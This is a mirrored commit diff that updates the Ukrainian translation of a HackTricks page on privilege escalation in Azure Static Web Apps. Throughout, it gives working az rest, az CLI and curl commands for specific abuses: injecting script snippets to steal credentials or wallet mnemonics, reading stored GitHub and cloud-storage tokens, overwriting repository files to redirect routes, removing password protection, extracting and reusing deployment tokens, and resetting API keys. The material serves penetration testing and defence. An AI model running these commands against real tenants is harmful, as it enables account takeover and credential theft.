mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+35
-29
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Для отримання додаткової інформації про цю службу перегляньте:
|
||||
Для отримання додаткової інформації про цей сервіс див.:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,9 +12,9 @@
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Можливо завантажити статичну веб-сторінку з довільним HTML-кодом, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3).
|
||||
Можна змусити static web page завантажувати довільний HTML шляхом створення snippet. Це може дозволити attacker інжектити JS всередину web app і викрасти чутливу інформацію, наприклад credentials або mnemonic keys (в web3 wallets).
|
||||
|
||||
Наступна команда створює фрагмент, який завжди буде завантажений веб-додатком::
|
||||
The fllowing command create an snippet that will always be loaded by the web app::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,7 +31,7 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Читання налаштованих облікових даних третьої сторони
|
||||
### Прочитати налаштовані облікові дані сторонніх сервісів
|
||||
|
||||
Як пояснено в розділі App Service:
|
||||
|
||||
@@ -39,14 +39,14 @@ az rest \
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого.
|
||||
Виконавши наступну команду, можна **прочитати облікові дані сторонніх сервісів**, налаштовані в поточному обліковому записі. Зауважте, що, наприклад, якщо деякі Github облікові дані налаштовано для іншого користувача, ви не зможете отримати доступ до token з іншого облікового запису.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
|
||||
Ця команда повертає tokens для Github, Bitbucket, Dropbox і OneDrive.
|
||||
|
||||
Ось кілька прикладів команд для перевірки токенів:
|
||||
Ось кілька прикладів команд для перевірки tokens:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Перезаписати файл - Перезаписати маршрути, HTML, JS...
|
||||
### Перезапис файлу - Перезапис маршрутів, HTML, JS...
|
||||
|
||||
Можливо **перезаписати файл всередині репозиторію Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт.
|
||||
Можна **перезаписати файл всередині Github repo**, який містить додаток, через Azure, маючи **Github token**, відправивши запит такого вигляду, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту.
|
||||
|
||||
Це може бути зловжито зловмисниками, щоб в основному **змінити вміст веб-додатку** для надання шкідливого вмісту (викрадення облікових даних, мнемонічних ключів...) або просто **перенаправити певні шляхи** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`.
|
||||
Цим можуть зловживати нападники, фактично **змінюючи вміст веб-додатку** щоб подавати шкідливий контент (вкрасти облікові дані, мнемонічні ключі...) або просто **перенаправити певні шляхи** на свої сервери, перезаписавши файл `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також може безпосередньо перезаписати файл з Github.
|
||||
> Зверніть увагу, що якщо нападнику вдасться якимось чином скомпрометувати Github repo, він також може безпосередньо перезаписати файл через Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного:
|
||||
Маючи цей дозвіл, можна **змінити пароль**, який захищає static web app, або навіть зняти захист з усіх середовищ, відправивши запит, як-от наведеного нижче:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,32 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Ця дозволяє отримати **токен розгортання API ключа** для статичного додатку:
|
||||
Дозвіл дає змогу отримати **API key deployment token** для статичного додатка.
|
||||
|
||||
За допомогою az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Тоді, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому.
|
||||
Використання AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Отже, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це той, який Azure за замовчуванням налаштував для використання. Тому образ і параметри можуть змінитися в майбутньому.
|
||||
|
||||
> [!TIP]
|
||||
> Щоб розгорнути додаток, ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або дотримуватися наступних простих кроків:
|
||||
> Для деплою додатка ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або виконати такі кроки:
|
||||
|
||||
1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`.
|
||||
1. Завантажте репо [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) та виконайте `cd react-basic`.
|
||||
2. Змініть код, який ви хочете розгорнути
|
||||
3. Розгорніть його, виконавши (не забудьте змінити `<api-token>`):
|
||||
3. Розгорніть його, запустивши (пам'ятайте змінити `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Навіть якщо у вас є токен, ви не зможете розгорнути додаток, якщо **Політика авторизації розгортання** встановлена на **Github**. Для використання токена вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання на використання токена API.
|
||||
> Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо **Deployment Authorization Policy** встановлено на **Github**. Щоб використовувати token, вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання та використовувати APi token.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
З цим дозволом можливо **змінити джерело статичного веб-додатку на інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно зробити з допомогою Github Action.
|
||||
З цим дозволом можна **змінити джерело статичного веб-додатка на інший Github repository**, однак воно не буде автоматично налаштоване, оскільки це має виконуватися через Github Action.
|
||||
|
||||
Однак, якщо **Політика авторизації розгортання** встановлена на **Github**, можливо **оновити додаток з нового репозиторію джерела!**.
|
||||
Однак якщо **Deployment Authotization Policy** встановлено на **Github**, буде можливо **оновити додаток з нового репозиторію!**.
|
||||
|
||||
У разі, якщо **Політика авторизації розгортання** не встановлена на Github, ви можете змінити її з тим же дозволом `Microsoft.Web/staticSites/write`.
|
||||
Якщо **Deployment Authorization Policy** не встановлено на Github, ви можете змінити її, використовуючи той самий дозвіл `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -181,7 +187,7 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Приклад Github Action для розгортання додатку:
|
||||
Приклад Github Action для розгортання додатка:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
@@ -244,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток.
|
||||
Цей дозвіл дозволяє **reset the API key of the static web app**, потенційно DoSing робочі процеси, які автоматично розгортають додаток.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
Ця дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині статичного веб-додатку з конкретною наданою роллю.
|
||||
Цей дозвіл дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині static web app з певною роллю.
|
||||
|
||||
Увійти можна за адресою, такій як `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди:
|
||||
Логін знаходиться за шляхом, наприклад `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -264,13 +270,13 @@ az staticwebapp users invite \
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
```
|
||||
### Pull Requests
|
||||
### Запити на злиття (Pull Requests)
|
||||
|
||||
За замовчуванням Pull Requests з гілки в тому ж репозиторії будуть автоматично компільовані та збирані в середовищі стадії. Це може бути зловжито зловмисником з правами запису в репозиторії, але без можливості обійти захист гілок виробничої гілки (зазвичай `main`), щоб **розгорнути шкідливу версію програми** в URL стадії.
|
||||
За замовчуванням Pull Requests із гілки в тому ж репозиторії автоматично компілюються й збираються у staging середовищі. Це може бути використано зловмисником, який має права запису в репо, але не може обійти захист гілок production (зазвичай `main`), щоб **розгорнути шкідливу версію додатка** за staging URL.
|
||||
|
||||
URL стадії має цей формат: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>`, наприклад: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що за замовчуванням зовнішні PR не виконуватимуть робочі процеси, якщо вони не об'єднали принаймні 1 PR в репозиторій. Зловмисник може надіслати дійсний PR до репозиторію і **потім надіслати шкідливий PR** до репозиторію, щоб розгорнути шкідливу програму в середовищі стадії. ОДНАК, є несподіваний захист: за замовчуванням Github Action для розгортання в статичному веб-додатку потребує доступу до секрету, що містить токен розгортання (наприклад, `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо розгортання виконується з IDToken. Це означає, що оскільки зовнішній PR не матиме доступу до цього секрету, а зовнішній PR не може змінити робочий процес, щоб помістити тут довільний токен без прийняття PR, **ця атака насправді не спрацює**.
|
||||
> Зверніть увагу, що за замовчуванням external PRs не запускатимуть workflows, якщо їхній автор не влив принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім **відправити шкідливий PR** в репо, щоб розгорнути шкідливий додаток у staging середовищі. ОДНАК, існує несподіваний захист: дефолтний GitHub Action для деплою у static web app потребує доступу до секрету, що містить deployment token (наприклад `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PRs не матимуть доступу до цього секрету і external PR не може змінити Workflow, щоб помістити туди довільний токен без прийняття PR, **ця атака насправді не спрацює**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user